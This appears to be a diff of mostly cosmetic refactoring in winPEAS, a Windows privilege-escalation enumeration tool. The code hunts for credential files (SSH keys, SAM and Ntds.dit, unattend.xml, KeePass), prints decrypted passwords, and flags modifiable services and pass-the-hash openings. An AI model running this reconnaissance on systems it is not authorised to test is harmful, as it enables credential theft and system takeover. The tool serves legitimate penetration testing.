foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
|
foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
|
||||||
{
|
{
|
||||||
@@ -389,7 +533,7 @@ namespace winPEAS.Checks
|
|||||||
// If contains undesireable string, stop processing
|
// If contains undesireable string, stop processing
|
||||||
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
||||||
{
|
{
|
||||||
foreach(var rem_path in fileSettings.remove_path.Split('|'))
|
foreach (var rem_path in fileSettings.remove_path.Split('|'))
|
||||||
{
|
{
|
||||||
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
||||||
return false;
|
return false;
|
||||||
@@ -398,19 +542,23 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (fileSettings.type == "f")
|
if (fileSettings.type == "f")
|
||||||
{
|
{
|
||||||
var colors = new Dictionary<string, string>();
|
var colors = new Dictionary<string, string>
|
||||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
{
|
||||||
|
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||||
|
};
|
||||||
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
||||||
|
|
||||||
if (!(bool)fileSettings.just_list_file)
|
if (!(bool)fileSettings.just_list_file)
|
||||||
{
|
{
|
||||||
GrepResult(fileInfo, fileSettings);
|
GrepResult(fileInfo, fileSettings);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (fileSettings.type == "d")
|
else if (fileSettings.type == "d")
|
||||||
{
|
{
|
||||||
var colors = new Dictionary<string, string>();
|
var colors = new Dictionary<string, string>
|
||||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
{
|
||||||
|
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||||
|
};
|
||||||
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
||||||
|
|
||||||
// just list the directory
|
// just list the directory
|
||||||
@@ -425,7 +573,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
// should not happen
|
// should not happen
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ namespace winPEAS.Checks
|
|||||||
internal class FilesInfo : ISystemCheck
|
internal class FilesInfo : ISystemCheck
|
||||||
{
|
{
|
||||||
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
|
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
|
||||||
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
||||||
|
|
||||||
private static readonly IList<string> patternsFileCreds = new List<string>()
|
private static readonly IList<string> patternsFileCreds = new List<string>()
|
||||||
{
|
{
|
||||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
||||||
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
||||||
System.Console.WriteLine("");
|
Console.WriteLine("");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
||||||
Beaprint.BadPrint(" " + path);
|
Beaprint.BadPrint(" " + path);
|
||||||
System.Console.WriteLine(string.Join("\n", pwds));
|
Console.WriteLine(string.Join("\n", pwds));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
|
|||||||
foreach (var site in sitelistFilesInfo.Sites)
|
foreach (var site in sitelistFilesInfo.Sites)
|
||||||
{
|
{
|
||||||
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
||||||
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||||
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||||
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||||
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||||
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" +
|
Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
|
||||||
$" Name : {site.Name}\n" +
|
$" Name : {site.Name}\n" +
|
||||||
$" Type : {site.Type}\n" +
|
$" Type : {site.Type}\n" +
|
||||||
$" Relative Path : {site.RelativePath}\n");
|
$" Relative Path : {site.RelativePath}\n");
|
||||||
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
|
|||||||
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
||||||
{
|
{
|
||||||
Beaprint.DictPrint(rec_file, colorF, true);
|
Beaprint.DictPrint(rec_file, colorF, true);
|
||||||
System.Console.WriteLine();
|
Console.WriteLine();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -828,11 +828,11 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
|
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
|
||||||
$" Subject : {certificateInfo.Subject}\n" +
|
$" Subject : {certificateInfo.Subject}\n" +
|
||||||
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
||||||
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
|
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
|
||||||
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
||||||
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
||||||
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
||||||
$" Thumbprint : {certificateInfo.Thumbprint}\n");
|
$" Thumbprint : {certificateInfo.Thumbprint}\n");
|
||||||
|
|
||||||
if (!string.IsNullOrEmpty(certificateInfo.Template))
|
if (!string.IsNullOrEmpty(certificateInfo.Template))
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
if (line.Length > 0 && line[0] != '#')
|
if (line.Length > 0 && line[0] != '#')
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" " + line.Replace("\t", " "));
|
Console.WriteLine(" " + line.Replace("\t", " "));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.GrayPrint(" DENY rules:");
|
Beaprint.GrayPrint(" DENY rules:");
|
||||||
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
||||||
{
|
{
|
||||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
|
||||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
|
||||||
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
||||||
if (filePerms.Length > 0)
|
if (filePerms.Length > 0)
|
||||||
formString += "\n File Permissions: {8}";
|
formString += "\n File Permissions: {8}";
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
CheckRunner.Run(() =>
|
CheckRunner.Run(() =>
|
||||||
{
|
{
|
||||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs);
|
modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
|
||||||
}, isDebug);
|
}, isDebug);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (Dictionary<string, string> serviceInfo in services_info)
|
foreach (Dictionary<string, string> serviceInfo in services_info)
|
||||||
{
|
{
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = new List<string>();
|
List<string> dirRights = new List<string>();
|
||||||
|
|
||||||
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
||||||
{
|
{
|
||||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs);
|
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
||||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -5,21 +5,21 @@ using System.Linq;
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using winPEAS._3rdParty.Watson;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.AppLocker;
|
using winPEAS.Helpers.AppLocker;
|
||||||
using winPEAS._3rdParty.Watson;
|
|
||||||
using winPEAS.Info.SystemInfo.Printers;
|
|
||||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
|
||||||
using winPEAS.Info.SystemInfo;
|
|
||||||
using winPEAS.Info.SystemInfo.SysMon;
|
|
||||||
using winPEAS.Helpers.Extensions;
|
using winPEAS.Helpers.Extensions;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
using winPEAS.Info.SystemInfo;
|
||||||
using winPEAS.Info.SystemInfo.AuditPolicies;
|
using winPEAS.Info.SystemInfo.AuditPolicies;
|
||||||
using winPEAS.Info.SystemInfo.DotNet;
|
using winPEAS.Info.SystemInfo.DotNet;
|
||||||
using winPEAS.Info.SystemInfo.GroupPolicy;
|
using winPEAS.Info.SystemInfo.GroupPolicy;
|
||||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||||
using winPEAS.Info.SystemInfo.PowerShell;
|
|
||||||
using winPEAS.Info.SystemInfo.Ntlm;
|
using winPEAS.Info.SystemInfo.Ntlm;
|
||||||
|
using winPEAS.Info.SystemInfo.PowerShell;
|
||||||
|
using winPEAS.Info.SystemInfo.Printers;
|
||||||
|
using winPEAS.Info.SystemInfo.SysMon;
|
||||||
|
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
namespace winPEAS.Checks
|
namespace winPEAS.Checks
|
||||||
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
|
|||||||
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
||||||
};
|
};
|
||||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||||
System.Console.WriteLine();
|
Console.WriteLine();
|
||||||
Watson.FindVulns();
|
Watson.FindVulns();
|
||||||
|
|
||||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||||
@@ -200,7 +200,7 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.MainPrint("PS default transcripts history");
|
Beaprint.MainPrint("PS default transcripts history");
|
||||||
Beaprint.InfoPrint("Read the PS history inside these files (if any)");
|
Beaprint.InfoPrint("Read the PS history inside these files (if any)");
|
||||||
string drive = Path.GetPathRoot(Environment.SystemDirectory);
|
string drive = Path.GetPathRoot(Environment.SystemDirectory);
|
||||||
string transcriptsPath = drive + @"transcripts\";
|
string transcriptsPath = drive + @"transcripts\";
|
||||||
string usersPath = $"{drive}users";
|
string usersPath = $"{drive}users";
|
||||||
|
|
||||||
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
|
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
|
||||||
@@ -369,12 +369,12 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (lsaCfgFlags == "1")
|
if (lsaCfgFlags == "1")
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||||
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
||||||
}
|
}
|
||||||
else if (lsaCfgFlags == "2")
|
else if (lsaCfgFlags == "2")
|
||||||
{
|
{
|
||||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||||
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
|
|||||||
else if (using_HKLM_WSUS == "0")
|
else if (using_HKLM_WSUS == "0")
|
||||||
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
||||||
else
|
else
|
||||||
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
||||||
{
|
{
|
||||||
val = System.BitConverter.ToString((byte[])kvp.Value);
|
val = BitConverter.ToString((byte[])kvp.Value);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
|
|||||||
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
||||||
}
|
}
|
||||||
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
|
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
|
||||||
|
|
||||||
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Cryptography;
|
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Extensions;
|
using winPEAS.Helpers.Extensions;
|
||||||
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("RDP Sessions");
|
Beaprint.MainPrint("RDP Sessions");
|
||||||
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions();
|
List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
|
||||||
if (rdp_sessions.Count > 0)
|
if (rdp_sessions.Count > 0)
|
||||||
{
|
{
|
||||||
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
||||||
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Password Policies");
|
Beaprint.MainPrint("Password Policies");
|
||||||
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
||||||
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy();
|
List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
|
||||||
Beaprint.DictPrint(PPy, ColorsU(), false);
|
Beaprint.DictPrint(PPy, ColorsU(), false);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (var logonSession in logonSessions)
|
foreach (var logonSession in logonSessions)
|
||||||
{
|
{
|
||||||
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" +
|
Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
|
||||||
$" Logon Server: {logonSession.LogonServer}\n" +
|
$" Logon Server: {logonSession.LogonServer}\n" +
|
||||||
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
||||||
$" Logon Id: {logonSession.LogonId}\n" +
|
$" Logon Id: {logonSession.LogonId}\n" +
|
||||||
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
|
|||||||
if (User32.GetLastInputInfo(ref lastInputInfo))
|
if (User32.GetLastInputInfo(ref lastInputInfo))
|
||||||
{
|
{
|
||||||
var currentUser = WindowsIdentity.GetCurrent().Name;
|
var currentUser = WindowsIdentity.GetCurrent().Name;
|
||||||
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time;
|
var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
|
||||||
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
||||||
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
||||||
|
|
||||||
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
|
|||||||
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
||||||
}
|
}
|
||||||
|
|
||||||
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
|
Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
|
||||||
$" User Name : {localUser.name}\n" +
|
$" User Name : {localUser.name}\n" +
|
||||||
$" User Id : {localUser.user_id}\n" +
|
$" User Id : {localUser.user_id}\n" +
|
||||||
$" Is Enabled : {enabled}\n" +
|
$" Is Enabled : {enabled}\n" +
|
||||||
|
|||||||
@@ -307,7 +307,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking AppCmd.exe");
|
Beaprint.MainPrint("Looking AppCmd.exe");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe");
|
||||||
|
|
||||||
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
||||||
|
|
||||||
|
|||||||
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
||||||
|
|
||||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||||
|
|
||||||
Beaprint.GoodPrint($" Conditions");
|
Beaprint.GoodPrint($" Conditions");
|
||||||
|
|
||||||
@@ -153,7 +153,7 @@ namespace winPEAS.Helpers.AppLocker
|
|||||||
|
|
||||||
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
||||||
|
|
||||||
